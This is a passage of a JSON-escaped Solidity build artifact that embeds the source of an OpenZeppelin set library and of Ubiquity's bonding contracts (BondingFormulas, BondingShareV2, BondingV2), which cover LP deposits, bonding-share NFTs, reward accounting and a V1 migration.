*\\n * Returns true if the value was removed from the set, that is if it was\\n * present.\\n */\\n function _remove(Set storage set, bytes32 value) private returns (bool) {\\n // We read and store the value's index to prevent multiple reads from the same storage slot\\n uint256 valueIndex = set._indexes[value];\\n\\n if (valueIndex != 0) {\\n // Equivalent to contains(set, value)\\n // To delete an element from the _values array in O(1), we swap the element to delete with the last one in\\n // the array, and then remove the last element (sometimes called as 'swap and pop').\\n // This modifies the order of the array, as noted in {at}.\\n\\n uint256 toDeleteIndex = valueIndex - 1;\\n uint256 lastIndex = set._values.length - 1;\\n\\n if (lastIndex != toDeleteIndex) {\\n bytes32 lastvalue = set._values[lastIndex];\\n\\n // Move the last value to the index where the value to delete is\\n set._values[toDeleteIndex] = lastvalue;\\n // Update the index for the moved value\\n set._indexes[lastvalue] = valueIndex; // Replace lastvalue's index to valueIndex\\n }\\n\\n // Delete the slot where the moved value was stored\\n set._values.pop();\\n\\n // Delete the index for the deleted slot\\n delete set._indexes[value];\\n\\n return true;\\n } else {\\n return false;\\n }\\n }\\n\\n /**\\n * @dev Returns true if the value is in the set. O(1).\\n */\\n function _contains(Set storage set, bytes32 value) private view returns (bool) {\\n return set._indexes[value] != 0;\\n }\\n\\n /**\\n * @dev Returns the number of values on the set. O(1).\\n */\\n function _length(Set storage set) private view returns (uint256) {\\n return set._values.length;\\n }\\n\\n /**\\n * @dev Returns the value stored at position `index` in the set. O(1).\\n *\\n * Note that there are no guarantees on the ordering of values inside the\\n * array, and it may change when more values are added or removed.\\n *\\n * Requirements:\\n *\\n * - `index` must be strictly less than {length}.\\n */\\n function _at(Set storage set, uint256 index) private view returns (bytes32) {\\n return set._values[index];\\n }\\n\\n // Bytes32Set\\n\\n struct Bytes32Set {\\n Set _inner;\\n }\\n\\n /**\\n * @dev Add a value to a set. O(1).\\n *\\n * Returns true if the value was added to the set, that is if it was not\\n * already present.\\n */\\n function add(Bytes32Set storage set, bytes32 value) internal returns (bool) {\\n return _add(set._inner, value);\\n }\\n\\n /**\\n * @dev Removes a value from a set. O(1).\\n *\\n * Returns true if the value was removed from the set, that is if it was\\n * present.\\n */\\n function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) {\\n return _remove(set._inner, value);\\n }\\n\\n /**\\n * @dev Returns true if the value is in the set. O(1).\\n */\\n function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) {\\n return _contains(set._inner, value);\\n }\\n\\n /**\\n * @dev Returns the number of values in the set. O(1).\\n */\\n function length(Bytes32Set storage set) internal view returns (uint256) {\\n return _length(set._inner);\\n }\\n\\n /**\\n * @dev Returns the value stored at position `index` in the set. O(1).\\n *\\n * Note that there are no guarantees on the ordering of values inside the\\n * array, and it may change when more values are added or removed.\\n *\\n * Requirements:\\n *\\n * - `index` must be strictly less than {length}.\\n */\\n function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) {\\n return _at(set._inner, index);\\n }\\n\\n // AddressSet\\n\\n struct AddressSet {\\n Set _inner;\\n }\\n\\n /**\\n * @dev Add a value to a set. O(1).\\n *\\n * Returns true if the value was added to the set, that is if it was not\\n * already present.\\n */\\n function add(AddressSet storage set, address value) internal returns (bool) {\\n return _add(set._inner, bytes32(uint256(uint160(value))));\\n }\\n\\n /**\\n * @dev Removes a value from a set. O(1).\\n *\\n * Returns true if the value was removed from the set, that is if it was\\n * present.\\n */\\n function remove(AddressSet storage set, address value) internal returns (bool) {\\n return _remove(set._inner, bytes32(uint256(uint160(value))));\\n }\\n\\n /**\\n * @dev Returns true if the value is in the set. O(1).\\n */\\n function contains(AddressSet storage set, address value) internal view returns (bool) {\\n return _contains(set._inner, bytes32(uint256(uint160(value))));\\n }\\n\\n /**\\n * @dev Returns the number of values in the set. O(1).\\n */\\n function length(AddressSet storage set) internal view returns (uint256) {\\n return _length(set._inner);\\n }\\n\\n /**\\n * @dev Returns the value stored at position `index` in the set. O(1).\\n *\\n * Note that there are no guarantees on the ordering of values inside the\\n * array, and it may change when more values are added or removed.\\n *\\n * Requirements:\\n *\\n * - `index` must be strictly less than {length}.\\n */\\n function at(AddressSet storage set, uint256 index) internal view returns (address) {\\n return address(uint160(uint256(_at(set._inner, index))));\\n }\\n\\n // UintSet\\n\\n struct UintSet {\\n Set _inner;\\n }\\n\\n /**\\n * @dev Add a value to a set. O(1).\\n *\\n * Returns true if the value was added to the set, that is if it was not\\n * already present.\\n */\\n function add(UintSet storage set, uint256 value) internal returns (bool) {\\n return _add(set._inner, bytes32(value));\\n }\\n\\n /**\\n * @dev Removes a value from a set. O(1).\\n *\\n * Returns true if the value was removed from the set, that is if it was\\n * present.\\n */\\n function remove(UintSet storage set, uint256 value) internal returns (bool) {\\n return _remove(set._inner, bytes32(value));\\n }\\n\\n /**\\n * @dev Returns true if the value is in the set. O(1).\\n */\\n function contains(UintSet storage set, uint256 value) internal view returns (bool) {\\n return _contains(set._inner, bytes32(value));\\n }\\n\\n /**\\n * @dev Returns the number of values on the set. O(1).\\n */\\n function length(UintSet storage set) internal view returns (uint256) {\\n return _length(set._inner);\\n }\\n\\n /**\\n * @dev Returns the value stored at position `index` in the set. O(1).\\n *\\n * Note that there are no guarantees on the ordering of values inside the\\n * array, and it may change when more values are added or removed.\\n *\\n * Requirements:\\n *\\n * - `index` must be strictly less than {length}.\\n */\\n function at(UintSet storage set, uint256 index) internal view returns (uint256) {\\n return uint256(_at(set._inner, index));\\n }\\n}\\n\",\"keccak256\":\"0x211639753e28bdca7f98618f51dca3dcd08a88b57c45050eb05fa4d0053327c3\",\"license\":\"MIT\"},\"contracts/BondingFormulas.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\npragma solidity ^0.8.3;\\n\\nimport \\\"./BondingShareV2.sol\\\";\\nimport \\\"./libs/ABDKMathQuad.sol\\\";\\n\\nimport \\\"./interfaces/IMasterChefV2.sol\\\";\\n\\ncontract BondingFormulas {\\n using ABDKMathQuad for uint256;\\n using ABDKMathQuad for bytes16;\\n\\n uint256 public constant ONE = uint256(1 ether); // 18 decimals\\n\\n /// @dev formula UBQ Rights corresponding to a bonding shares LP amount\\n /// @param _bond , bonding share\\n /// @param _amount , amount of LP tokens\\n /// @notice shares = (bond.shares * _amount ) / bond.lpAmount ;\\n function sharesForLP(\\n BondingShareV2.Bond memory _bond,\\n uint256[2] memory _shareInfo,\\n uint256 _amount\\n ) public pure returns (uint256 _uLP) {\\n bytes16 a = _shareInfo[0].fromUInt(); // shares amount\\n bytes16 v = _amount.fromUInt();\\n bytes16 t = _bond.lpAmount.fromUInt();\\n\\n _uLP = a.mul(v).div(t).toUInt();\\n }\\n\\n /// @dev formula may add a decreasing rewards if locking end is near when removing liquidity\\n /// @param _bond , bonding share\\n /// @param _amount , amount of LP tokens\\n /// @notice rewards = _amount;\\n // solhint-disable-block no-unused-vars\\n /* solhint-disable no-unused-vars */\\n function lpRewardsRemoveLiquidityNormalization(\\n BondingShareV2.Bond memory _bond,\\n uint256[2] memory _shareInfo,\\n uint256 _amount\\n ) public pure returns (uint256) {\\n return _amount;\\n }\\n\\n /* solhint-enable no-unused-vars */\\n /// @dev formula may add a decreasing rewards if locking end is near when adding liquidity\\n /// @param _bond , bonding share\\n /// @param _amount , amount of LP tokens\\n /// @notice rewards = _amount;\\n // solhint-disable-block no-unused-vars\\n /* solhint-disable no-unused-vars */\\n function lpRewardsAddLiquidityNormalization(\\n BondingShareV2.Bond memory _bond,\\n uint256[2] memory _shareInfo,\\n uint256 _amount\\n ) public pure returns (uint256) {\\n return _amount;\\n }\\n\\n /* solhint-enable no-unused-vars */\\n\\n /// @dev formula to calculate the corrected amount to withdraw based on the proportion of\\n /// lp deposited against actual LP token on thge bonding contract\\n /// @param _totalLpDeposited , Total amount of LP deposited by users\\n /// @param _bondingLpBalance , actual bonding contract LP tokens balance minus lp rewards\\n /// @param _amount , amount of LP tokens\\n /// @notice corrected_amount = amount * ( bondingLpBalance / totalLpDeposited)\\n /// if there is more or the same amount of LP than deposited then do nothing\\n function correctedAmountToWithdraw(\\n uint256 _totalLpDeposited,\\n uint256 _bondingLpBalance,\\n uint256 _amount\\n ) public pure returns (uint256) {\\n if (_bondingLpBalance < _totalLpDeposited && _bondingLpBalance > 0) {\\n // if there is less LP token inside the bonding contract that what have been deposited\\n // we have to reduce proportionnaly the lp amount to withdraw\\n return\\n _amount\\n .fromUInt()\\n .mul(_bondingLpBalance.fromUInt())\\n .div(_totalLpDeposited.fromUInt())\\n .toUInt();\\n }\\n return _amount;\\n }\\n}\\n\",\"keccak256\":\"0xc5e2b35fec0dd9d100e33802346c5e3c824d8c92b65619cb64794566744e49f4\",\"license\":\"MIT\"},\"contracts/BondingShareV2.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\npragma solidity ^0.8.3;\\n\\nimport \\\"@openzeppelin/contracts/token/ERC1155/ERC1155.sol\\\";\\nimport \\\"@openzeppelin/contracts/token/ERC20/IERC20.sol\\\";\\nimport \\\"@openzeppelin/contracts/token/ERC1155/extensions/ERC1155Burnable.sol\\\";\\nimport \\\"@openzeppelin/contracts/token/ERC1155/extensions/ERC1155Pausable.sol\\\";\\nimport \\\"./UbiquityAlgorithmicDollarManager.sol\\\";\\nimport \\\"./utils/SafeAddArray.sol\\\";\\n\\ncontract BondingShareV2 is ERC1155, ERC1155Burnable, ERC1155Pausable {\\n using SafeAddArray for uint256[];\\n struct Bond {\\n // address of the minter\\n address minter;\\n // lp amount deposited by the user\\n uint256 lpFirstDeposited;\\n uint256 creationBlock;\\n // lp that were already there when created\\n uint256 lpRewardDebt;\\n uint256 endBlock;\\n // lp remaining for a user\\n uint256 lpAmount;\\n }\\n\\n UbiquityAlgorithmicDollarManager public manager;\\n // Mapping from account to operator approvals\\n mapping(address => uint256[]) private _holderBalances;\\n mapping(uint256 => Bond) private _bonds;\\n uint256 private _totalLP;\\n uint256 private _totalSupply;\\n\\n // ----------- Modifiers -----------\\n modifier onlyMinter() {\\n require(\\n manager.hasRole(manager.UBQ_MINTER_ROLE(), msg.sender),\\n \\\"Governance token: not minter\\\"\\n );\\n _;\\n }\\n\\n modifier onlyBurner() {\\n require(\\n manager.hasRole(manager.UBQ_BURNER_ROLE(), msg.sender),\\n \\\"Governance token: not burner\\\"\\n );\\n _;\\n }\\n\\n modifier onlyPauser() {\\n require(\\n manager.hasRole(manager.PAUSER_ROLE(), msg.sender),\\n \\\"Governance token: not pauser\\\"\\n );\\n _;\\n }\\n\\n /**\\n * @dev constructor\\n */\\n constructor(address _manager, string memory uri) ERC1155(uri) {\\n manager = UbiquityAlgorithmicDollarManager(_manager);\\n }\\n\\n /// @dev update bond LP amount , LP rewards debt and end block.\\n /// @param _bondId bonding share id\\n /// @param _lpAmount amount of LP token deposited\\n /// @param _lpRewardDebt amount of excess LP token inside the bonding contract\\n /// @param _endBlock end locking period block number\\n function updateBond(\\n uint256 _bondId,\\n uint256 _lpAmount,\\n uint256 _lpRewardDebt,\\n uint256 _endBlock\\n ) external onlyMinter whenNotPaused {\\n Bond storage bond = _bonds[_bondId];\\n uint256 curLpAmount = bond.lpAmount;\\n if (curLpAmount > _lpAmount) {\\n // we are removing LP\\n _totalLP -= curLpAmount - _lpAmount;\\n } else {\\n // we are adding LP\\n _totalLP += _lpAmount - curLpAmount;\\n }\\n bond.lpAmount = _lpAmount;\\n bond.lpRewardDebt = _lpRewardDebt;\\n bond.endBlock = _endBlock;\\n }\\n\\n // @dev Creates `amount` new tokens for `to`, of token type `id`.\\n /// @param to owner address\\n /// @param lpDeposited amount of LP token deposited\\n /// @param lpRewardDebt amount of excess LP token inside the bonding contract\\n /// @param endBlock block number when the locking period ends\\n function mint(\\n address to,\\n uint256 lpDeposited,\\n uint256 lpRewardDebt,\\n uint256 endBlock\\n ) public virtual onlyMinter whenNotPaused returns (uint256 id) {\\n id = _totalSupply + 1;\\n _mint(to, id, 1, bytes(\\\"\\\"));\\n _totalSupply += 1;\\n _holderBalances[to].add(id);\\n Bond storage _bond = _bonds[id];\\n _bond.minter = to;\\n _bond.lpFirstDeposited = lpDeposited;\\n _bond.lpAmount = lpDeposited;\\n _bond.lpRewardDebt = lpRewardDebt;\\n _bond.creationBlock = block.number;\\n _bond.endBlock = endBlock;\\n _totalLP += lpDeposited;\\n }\\n\\n /**\\n * @dev Pauses all token transfers.\\n *\\n * See {ERC1155Pausable} and {Pausable-_pause}.\\n *\\n */\\n function pause() public virtual onlyPauser {\\n _pause();\\n }\\n\\n /**\\n * @dev Unpauses all token transfers.\\n *\\n * See {ERC1155Pausable} and {Pausable-_unpause}.\\n *\\n */\\n function unpause() public virtual onlyPauser {\\n _unpause();\\n }\\n\\n /**\\n * @dev See {IERC1155-safeTransferFrom}.\\n */\\n function safeTransferFrom(\\n address from,\\n address to,\\n uint256 id,\\n uint256 amount,\\n bytes memory data\\n ) public override whenNotPaused {\\n super.safeTransferFrom(from, to, id, amount, data);\\n _holderBalances[to].add(id);\\n }\\n\\n /**\\n * @dev See {IERC1155-safeBatchTransferFrom}.\\n */\\n function safeBatchTransferFrom(\\n address from,\\n address to,\\n uint256[] memory ids,\\n uint256[] memory amounts,\\n bytes memory data\\n ) public virtual override whenNotPaused {\\n super.safeBatchTransferFrom(from, to, ids, amounts, data);\\n _holderBalances[to].add(ids);\\n }\\n\\n /**\\n * @dev Total amount of tokens .\\n */\\n function totalSupply() public view virtual returns (uint256) {\\n return _totalSupply;\\n }\\n\\n /**\\n * @dev Total amount of LP tokens deposited.\\n */\\n function totalLP() public view virtual returns (uint256) {\\n return _totalLP;\\n }\\n\\n /**\\n * @dev return bond details.\\n */\\n function getBond(uint256 id) public view returns (Bond memory) {\\n return _bonds[id];\\n }\\n\\n /**\\n * @dev array of token Id held by the msg.sender.\\n */\\n function holderTokens(address holder)\\n public\\n view\\n returns (uint256[] memory)\\n {\\n return _holderBalances[holder];\\n }\\n\\n function _burn(\\n address account,\\n uint256 id,\\n uint256 amount\\n ) internal virtual override whenNotPaused {\\n require(amount == 1, \\\"amount <> 1\\\");\\n super._burn(account, id, 1);\\n Bond storage _bond = _bonds[id];\\n require(_bond.lpAmount == 0, \\\"LP <> 0\\\");\\n _totalSupply -= 1;\\n }\\n\\n function _burnBatch(\\n address account,\\n uint256[] memory ids,\\n uint256[] memory amounts\\n ) internal virtual override whenNotPaused {\\n super._burnBatch(account, ids, amounts);\\n for (uint256 i = 0; i < ids.length; ++i) {\\n _totalSupply -= amounts[i];\\n }\\n }\\n\\n function _beforeTokenTransfer(\\n address operator,\\n address from,\\n address to,\\n uint256[] memory ids,\\n uint256[] memory amounts,\\n bytes memory data\\n ) internal virtual override(ERC1155, ERC1155Pausable) {\\n super._beforeTokenTransfer(operator, from, to, ids, amounts, data);\\n }\\n}\\n\",\"keccak256\":\"0xff896ee924e35d96997f9b3af56da1adeca058fa23286f16d4ce92c3d8a3faa1\",\"license\":\"MIT\"},\"contracts/BondingV2.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\npragma solidity ^0.8.3;\\n\\nimport \\\"@openzeppelin/contracts/token/ERC20/IERC20.sol\\\";\\nimport \\\"@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol\\\";\\nimport \\\"@openzeppelin/contracts/security/Pausable.sol\\\";\\nimport \\\"./interfaces/IERC1155Ubiquity.sol\\\";\\nimport \\\"./interfaces/IMetaPool.sol\\\";\\nimport \\\"./interfaces/IUbiquityFormulas.sol\\\";\\nimport \\\"./UbiquityAlgorithmicDollar.sol\\\";\\nimport \\\"./BondingFormulas.sol\\\";\\nimport \\\"./BondingShareV2.sol\\\";\\nimport \\\"./UbiquityAlgorithmicDollarManager.sol\\\";\\nimport \\\"./interfaces/ISablier.sol\\\";\\nimport \\\"./interfaces/IMasterChefV2.sol\\\";\\nimport \\\"./interfaces/ITWAPOracle.sol\\\";\\nimport \\\"./interfaces/IERC1155Ubiquity.sol\\\";\\nimport \\\"./utils/CollectableDust.sol\\\";\\n\\ncontract BondingV2 is CollectableDust, Pausable {\\n using SafeERC20 for IERC20;\\n\\n bytes public data = \\\"\\\";\\n UbiquityAlgorithmicDollarManager public manager;\\n uint256 public constant ONE = uint256(1 ether); // 3Crv has 18 decimals\\n uint256 public bondingDiscountMultiplier = uint256(1000000 gwei); // 0.001\\n uint256 public blockCountInAWeek = 45361;\\n uint256 public accLpRewardPerShare = 0;\\n\\n uint256 public lpRewards;\\n uint256 public totalLpToMigrate;\\n address public bondingFormulasAddress;\\n\\n address public migrator; // temporary address to handle migration\\n address[] private _toMigrateOriginals;\\n uint256[] private _toMigrateLpBalances;\\n uint256[] private _toMigrateWeeks;\\n\\n // toMigrateId[address] > 0 when address is to migrate, or 0 in all other cases\\n mapping(address => uint256) public toMigrateId;\\n bool public migrating = false;\\n\\n event PriceReset(\\n address _tokenWithdrawn,\\n uint256 _amountWithdrawn,\\n uint256 _amountTransfered\\n );\\n\\n event Deposit(\\n address indexed _user,\\n uint256 indexed _id,\\n uint256 _lpAmount,\\n uint256 _bondingShareAmount,\\n uint256 _weeks,\\n uint256 _endBlock\\n );\\n event RemoveLiquidityFromBond(\\n address indexed _user,\\n uint256 indexed _id,\\n uint256 _lpAmount,\\n uint256 _lpAmountTransferred,\\n uint256 _lprewards,\\n uint256 _bondingShareAmount\\n );\\n\\n event AddLiquidityFromBond(\\n address indexed _user,\\n uint256 indexed _id,\\n uint256 _lpAmount,\\n uint256 _bondingShareAmount\\n );\\n\\n event BondingDiscountMultiplierUpdated(uint256 _bondingDiscountMultiplier);\\n event BlockCountInAWeekUpdated(uint256 _blockCountInAWeek);\\n\\n event Migrated(\\n address indexed _user,\\n uint256 indexed _id,\\n uint256 _lpsAmount,\\n uint256 _sharesAmount,\\n uint256 _weeks\\n );\\n\\n modifier onlyBondingManager() {\\n require(\\n manager.hasRole(manager.BONDING_MANAGER_ROLE(), msg.sender),\\n \\\"not manager\\\"\\n );\\n _;\\n }\\n\\n modifier onlyPauser() {\\n require(\\n manager.hasRole(manager.PAUSER_ROLE(), msg.sender),\\n \\\"not pauser\\\"\\n );\\n _;\\n }\\n\\n modifier onlyMigrator() {\\n require(msg.sender == migrator, \\\"not migrator\\\");\\n _;\\n }\\n\\n modifier whenMigrating() {\\n require(migrating, \\\"not in migration\\\");\\n _;\\n }\\n\\n constructor(\\n address _manager,\\n address _bondingFormulasAddress,\\n address[] memory _originals,\\n uint256[] memory _lpBalances,\\n uint256[] memory _weeks\\n ) CollectableDust() Pausable() {\\n manager = UbiquityAlgorithmicDollarManager(_manager);\\n bondingFormulasAddress = _bondingFormulasAddress;\\n migrator = msg.sender;\\n\\n uint256 lgt = _originals.length;\\n require(lgt > 0, \\\"address array empty\\\");\\n require(lgt == _lpBalances.length, \\\"balances array not same length\\\");\\n require(lgt == _weeks.length, \\\"weeks array not same length\\\");\\n\\n _toMigrateOriginals = _originals;\\n _toMigrateLpBalances = _lpBalances;\\n _toMigrateWeeks = _weeks;\\n for (uint256 i = 0; i < lgt; ++i) {\\n toMigrateId[_originals[i]] = i + 1;\\n totalLpToMigrate += _lpBalances[i];\\n }\\n }\\n\\n // solhint-disable-next-line no-empty-blocks\\n receive() external payable {}\\n\\n /// @dev addUserToMigrate add a user to migrate from V1.\\n /// IMPORTANT execute that function BEFORE sending the corresponding LP token\\n /// otherwise they will have extra LP rewards\\n /// @param _original address of v1 user\\n /// @param _lpBalance LP Balance of v1 user\\n /// @param _weeks weeks lockup of v1 user\\n /// @notice user will then be able to migrate.\\n function addUserToMigrate(\\n address _original,\\n uint256 _lpBalance,\\n uint256 _weeks\\n ) external onlyMigrator {\\n _toMigrateOriginals.push(_original);\\n _toMigrateLpBalances.push(_lpBalance);\\n totalLpToMigrate += _lpBalance;\\n _toMigrateWeeks.push(_weeks);\\n toMigrateId[_original] = _toMigrateOriginals.length;\\n }\\n\\n function setMigrator(address _migrator) external onlyMigrator {\\n migrator = _migrator;\\n }\\n\\n function setMigrating(bool _migrating) external onlyMigrator {\\n migrating = _migrating;\\n }\\n\\n /// @dev uADPriceReset remove uAD unilateraly from the curve LP share sitting inside\\n /// the bonding contract and send the uAD received to the treasury.\\n /// This will have the immediate effect of pushing the uAD price HIGHER\\n /// @param amount of LP token to be removed for uAD\\n /// @notice it will remove one coin only from the curve LP share sitting in the bonding contract\\n function uADPriceReset(uint256 amount) external onlyBondingManager {\\n IMetaPool metaPool = IMetaPool(manager.stableSwapMetaPoolAddress());\\n // remove one coin\\n uint256 coinWithdrawn = metaPool.remove_liquidity_one_coin(\\n amount,\\n 0,\\n 0\\n );\\n ITWAPOracle(manager.twapOracleAddress()).update();\\n uint256 toTransfer = IERC20(manager.dollarTokenAddress()).balanceOf(\\n address(this)\\n );\\n IERC20(manager.dollarTokenAddress()).transfer(\\n manager.treasuryAddress(),\\n toTransfer\\n );\\n emit PriceReset(\\n manager.dollarTokenAddress(),\\n coinWithdrawn,\\n toTransfer\\n );\\n }\\n\\n /// @dev crvPriceReset remove 3CRV unilateraly from the curve LP share sitting inside\\n /// the bonding contract and send the 3CRV received to the treasury\\n /// This will have the immediate effect of pushing the uAD price LOWER\\n /// @param amount of LP token to be removed for 3CRV tokens\\n /// @notice it will remove one coin only from the curve LP share sitting in the bonding contract\\n function crvPriceReset(uint256 amount) external onlyBondingManager {\\n IMetaPool metaPool = IMetaPool(manager.stableSwapMetaPoolAddress());\\n // remove one coin\\n uint256 coinWithdrawn = metaPool.remove_liquidity_one_coin(\\n amount,\\n 1,\\n 0\\n );\\n // update twap\\n ITWAPOracle(manager.twapOracleAddress()).update();\\n uint256 toTransfer = IERC20(manager.curve3PoolTokenAddress()).balanceOf(\\n address(this)\\n );\\n IERC20(manager.curve3PoolTokenAddress()).transfer(\\n manager.treasuryAddress(),\\n toTransfer\\n );\\n emit PriceReset(\\n manager.curve3PoolTokenAddress(),\\n coinWithdrawn,\\n toTransfer\\n );\\n }\\n\\n function setBondingFormulasAddress(address _bondingFormulasAddress)\\n external\\n onlyBondingManager\\n {\\n bondingFormulasAddress = _bondingFormulasAddress;\\n }\\n\\n /// Collectable Dust\\n function addProtocolToken(address _token)\\n external\\n override\\n onlyBondingManager\\n {\\n _addProtocolToken(_token);\\n }\\n\\n function removeProtocolToken(address _token)\\n external\\n override\\n onlyBondingManager\\n {\\n _removeProtocolToken(_token);\\n }\\n\\n function sendDust(\\n address _to,\\n address _token,\\n uint256 _amount\\n ) external override onlyBondingManager {\\n _sendDust(_to, _token, _amount);\\n }\\n\\n function setBondingDiscountMultiplier(uint256 _bondingDiscountMultiplier)\\n external\\n onlyBondingManager\\n {\\n bondingDiscountMultiplier = _bondingDiscountMultiplier;\\n emit BondingDiscountMultiplierUpdated(_bondingDiscountMultiplier);\\n }\\n\\n function setBlockCountInAWeek(uint256 _blockCountInAWeek)\\n external\\n onlyBondingManager\\n {\\n blockCountInAWeek = _blockCountInAWeek;\\n emit BlockCountInAWeekUpdated(_blockCountInAWeek);\\n }\\n\\n /// @dev deposit uAD-3CRV LP tokens for a duration to receive bonding shares\\n /// @param _lpsAmount of LP token to send\\n /// @param _weeks during lp token will be held\\n /// @notice weeks act as a multiplier for the amount of bonding shares to be received\\n function deposit(uint256 _lpsAmount, uint256 _weeks)\\n external\\n whenNotPaused\\n returns (uint256 _id)\\n {\\n require(\\n 1 <= _weeks && _weeks <= 208,\\n \\\"Bonding: duration must be between 1 and 208 weeks\\\"\\n );\\n ITWAPOracle(manager.twapOracleAddress()).update();\\n\\n // update the accumulated lp rewards per shares\\n _updateLpPerShare();\\n // transfer lp token to the bonding contract\\n IERC20(manager.stableSwapMetaPoolAddress()).safeTransferFrom(\\n msg.sender,\\n address(this),\\n _lpsAmount\\n );\\n\\n // calculate the amount of share based on the amount of lp deposited and the duration\\n uint256 _sharesAmount = IUbiquityFormulas(manager.formulasAddress())\\n .durationMultiply(_lpsAmount, _weeks, bondingDiscountMultiplier);\\n // calculate end locking period block number\\n uint256 _endBlock = block.number + _weeks * blockCountInAWeek;\\n _id = _mint(msg.sender, _lpsAmount, _sharesAmount, _endBlock);\\n\\n // set masterchef for uGOV rewards\\n IMasterChefV2(manager.masterChefAddress()).deposit(\\n msg.sender,\\n _sharesAmount,\\n _id\\n );\\n\\n emit Deposit(\\n msg.sender,\\n _id,\\n _lpsAmount,\\n _sharesAmount,\\n _weeks,\\n _endBlock\\n );\\n }\\n\\n /// @dev Add an amount of uAD-3CRV LP tokens\\n /// @param _amount of LP token to deposit\\n /// @param _id bonding shares id\\n /// @param _weeks during lp token will be held\\n /// @notice bonding shares are ERC1155 (aka NFT) because they have an expiration date\\n function addLiquidity(\\n uint256 _amount,\\n uint256 _id,\\n uint256 _weeks\\n ) external whenNotPaused {\\n (\\n uint256[2] memory bs,\\n BondingShareV2.Bond memory bond\\n ) = _checkForLiquidity(_id);\\n\\n // calculate pending LP rewards\\n uint256 sharesToRemove = bs[0];\\n _updateLpPerShare();\\n uint256 pendingLpReward = lpRewardForShares(\\n sharesToRemove,\\n bond.lpRewardDebt\\n );\\n\\n // add an extra step to be able to decrease rewards if locking end is near\\n pendingLpReward = BondingFormulas(this.bondingFormulasAddress())\\n .lpRewardsAddLiquidityNormalization(bond, bs, pendingLpReward);\\n // add these LP Rewards to the deposited amount of LP token\\n bond.lpAmount += pendingLpReward;\\n lpRewards -= pendingLpReward;\\n IERC20(manager.stableSwapMetaPoolAddress()).safeTransferFrom(\\n msg.sender,\\n address(this),\\n _amount\\n );\\n bond.lpAmount += _amount;\\n\\n // redeem all shares\\n IMasterChefV2(manager.masterChefAddress()).withdraw(\\n msg.sender,\\n sharesToRemove,\\n _id\\n );\\n\\n // calculate the amount of share based on the new amount of lp deposited and the duration\\n uint256 _sharesAmount = IUbiquityFormulas(manager.formulasAddress())\\n .durationMultiply(bond.lpAmount, _weeks, bondingDiscountMultiplier);\\n\\n // deposit new shares\\n IMasterChefV2(manager.masterChefAddress()).deposit(\\n msg.sender,\\n _sharesAmount,\\n _id\\n );\\n // calculate end locking period block number\\n // 1 week = 45361 blocks = 2371753*7/366\\n // n = (block + duration * 45361)\\n bond.endBlock = block.number + _weeks * blockCountInAWeek;\\n\\n // should be done after masterchef withdraw\\n _updateLpPerShare();\\n bond.lpRewardDebt =\\n (IMasterChefV2(manager.masterChefAddress()).getBondingShareInfo(\\n _id\\n )[0] * accLpRewardPerShare) /\\n 1e12;\\n\\n BondingShareV2(manager.bondingShareAddress()).updateBond(\\n _id,\\n bond.lpAmount,\\n bond.lpRewardDebt,\\n bond.endBlock\\n );\\n emit AddLiquidityFromBond(\\n msg.sender,\\n _id,\\n bond.lpAmount,\\n _sharesAmount\\n );\\n }\\n\\n /// @dev Remove an amount of uAD-3CRV LP tokens\\n /// @param _amount of LP token deposited when _id was created to be withdrawn\\n /// @param _id bonding shares id\\n /// @notice bonding shares are ERC1155 (aka NFT) because they have an expiration date\\n function removeLiquidity(uint256 _amount, uint256 _id)\\n external\\n whenNotPaused\\n {\\n (\\n uint256[2] memory bs,\\n BondingShareV2.Bond memory bond\\n ) = _checkForLiquidity(_id);\\n require(bond.lpAmount >= _amount, \\\"Bonding: amount too big\\\");\\n // we should decrease the UBQ rewards proportionally to the LP removed\\n // sharesToRemove = (bonding shares * _amount ) / bond.lpAmount ;\\n uint256 sharesToRemove = BondingFormulas(this.bondingFormulasAddress())\\n .sharesForLP(bond, bs, _amount);\\n\\n //get all its pending LP Rewards\\n _updateLpPerShare();\\n uint256 pendingLpReward = lpRewardForShares(bs[0], bond.lpRewardDebt);\\n // update bonding shares\\n // bond.shares = bond.shares - sharesToRemove;\\n // get masterchef for uGOV rewards To ensure correct computation\\n // it needs to be done BEFORE updating the bonding share\\n IMasterChefV2(manager.masterChefAddress()).withdraw(\\n msg.sender,\\n sharesToRemove,\\n _id\\n );\\n\\n // redeem of the extra LP\\n // bonding lp balance - BondingShareV2.totalLP\\n IERC20 metapool = IERC20(manager.stableSwapMetaPoolAddress());\\n\\n // add an extra step to be able to decrease rewards if locking end is near\\n pendingLpReward = BondingFormulas(this.bondingFormulasAddress())\\n .lpRewardsRemoveLiquidityNormalization(bond, bs, pendingLpReward);\\n\\n uint256 correctedAmount = BondingFormulas(this.bondingFormulasAddress())\\n .correctedAmountToWithdraw(\\n BondingShareV2(manager.bondingShareAddress()).totalLP(),\\n metapool.balanceOf(address(this)) - lpRewards,\\n _amount\\n );\\n\\n lpRewards -= pendingLpReward;\\n bond.lpAmount -= _amount;\\n\\n // bond.lpRewardDebt = (bonding shares * accLpRewardPerShare) / 1e18;\\n // user.amount.mul(pool.accSushiPerShare).div(1e12);\\n // should be done after masterchef withdraw\\n bond.lpRewardDebt =\\n (IMasterChefV2(manager.masterChefAddress()).getBondingShareInfo(\\n _id\\n )[0] * accLpRewardPerShare) /\\n 1e12;\\n\\n BondingShareV2(manager.bondingShareAddress()).updateBond(\\n _id,\\n bond.lpAmount,\\n bond.lpRewardDebt,\\n bond.endBlock\\n );\\n\\n // lastly redeem lp tokens\\n metapool.safeTransfer(msg.sender, correctedAmount + pendingLpReward);\\n emit RemoveLiquidityFromBond(\\n msg.sender,\\n _id,\\n _amount,\\n correctedAmount,\\n pendingLpReward,\\n sharesToRemove\\n );\\n }\\n\\n // View function to see pending lpRewards on frontend.\\n function pendingLpRewards(uint256 _id) external view returns (uint256) {\\n BondingShareV2 bonding = BondingShareV2(manager.bondingShareAddress());\\n BondingShareV2.Bond memory bond = bonding.getBond(_id);\\n uint256[2] memory bs = IMasterChefV2(manager.masterChefAddress())\\n .getBondingShareInfo(_id);\\n\\n uint256 lpBalance = IERC20(manager.stableSwapMetaPoolAddress())\\n .balanceOf(address(this));\\n // the excess LP is the current balance minus the total deposited LP\\n if (lpBalance >= (bonding.totalLP() + totalLpToMigrate)) {\\n uint256 currentLpRewards = lpBalance -\\n 